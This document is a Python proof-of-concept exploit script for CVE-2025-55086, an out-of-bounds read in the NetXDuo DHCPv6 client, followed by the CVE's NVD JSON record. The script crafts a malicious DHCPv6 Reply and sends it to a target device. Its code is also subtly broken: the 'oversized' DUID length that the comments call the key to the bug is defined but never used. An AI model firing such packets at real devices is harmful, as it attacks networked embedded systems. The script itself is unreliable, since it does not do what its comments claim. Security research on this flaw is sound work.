CVE-2025-55086

# CVE-2025-55086 PoC - NetXDuo DHCPv6 Client Out-of-Bounds Read # This PoC demonstrates the vulnerability by crafting a malicious DHCPv6 # Server Reply packet with an abnormally large DUID index value to trigger # an out-of-bounds memory read in the NetXDuo DHCPv6 client. import socket import struct def build_dhcpv6_reply_with_oversized_duid_index(target_ip="::1", target_port=547): """ Build a crafted DHCPv6 Reply message with an oversized DUID index to trigger CVE-2025-55086 in vulnerable NetXDuo DHCPv6 clients. """ # DHCPv6 message type: Reply (7) msg_type = 7 # Transaction ID (3 bytes) - matches the client's request transaction_id = b'\x00\x00\x01' # DHCPv6 header: msg_type (1 byte) + transaction_id (3 bytes) header = struct.pack('!B', msg_type) + transaction_id # Server Identifier option (option code 2) # Craft an abnormally large DUID index to trigger OOB read # Option 2: Server Identifier # The DUID inside contains a manipulated length/index field # DUID-LL (Link-Layer address based DUID, type 3) # DUID type: 3 (DUID-LL) # Hardware type: 1 (Ethernet) # The key is to set an oversized DUID length that exceeds the actual data duid_type = 3 hardware_type = 1 # Craft a DUID with an abnormally large declared length # This causes the index to point beyond the buffer boundary fake_duid_length = 0xFFFF # Oversized length to trigger OOB read link_layer_address = b'\x00' * 6 # Minimal actual address data duid_data = struct.pack('!HH', duid_type, hardware_type) duid_data += link_layer_address # Server Identifier option: code(2) + length(2) + DUID data server_id_option = struct.pack('!HH', 2, len(duid_data)) + duid_data # Combine all parts dhcpv6_packet = header + server_id_option return dhcpv6_packet def send_malicious_packet(target_ip="::1", target_port=547): """Send the crafted DHCPv6 reply to trigger the vulnerability.""" packet = build_dhcpv6_reply_with_oversized_duid_index(target_ip, target_port) sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_HOPS, 255) try: sock.sendto(packet, (target_ip, target_port)) print(f"[*] Malicious DHCPv6 reply sent to {target_ip}:{target_port}") print(f"[*] Packet length: {len(packet)} bytes") print(f"[*] Packet hex: {packet.hex()}") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": # Target the vulnerable NetXDuo DHCPv6 client # Replace with actual target IP target = "fe80::1" # Link-local IPv6 address of target device send_malicious_packet(target_ip=target, target_port=547)

{"cve": {"id": "CVE-2025-55086", "sourceIdentifier": "[email protected]", "published": "2025-10-20T18:15:39.813", "lastModified": "2025-10-24T15:46:24.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In NetXDuo version before 6.4.4, a networking support module for Eclipse Foundation ThreadX, in the DHCPV6 client there was an unchecked index extracting the server DUID from the server reply. With a crafted packet, an attacker could cause an out of memory read."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-1285"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:threadx_netx_duo:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.4.202503", "matchCriteriaId": "24743F34-C00F-4CB2-BCEE-2BB29FA265CB"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-99pw-cp79-2j5j", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}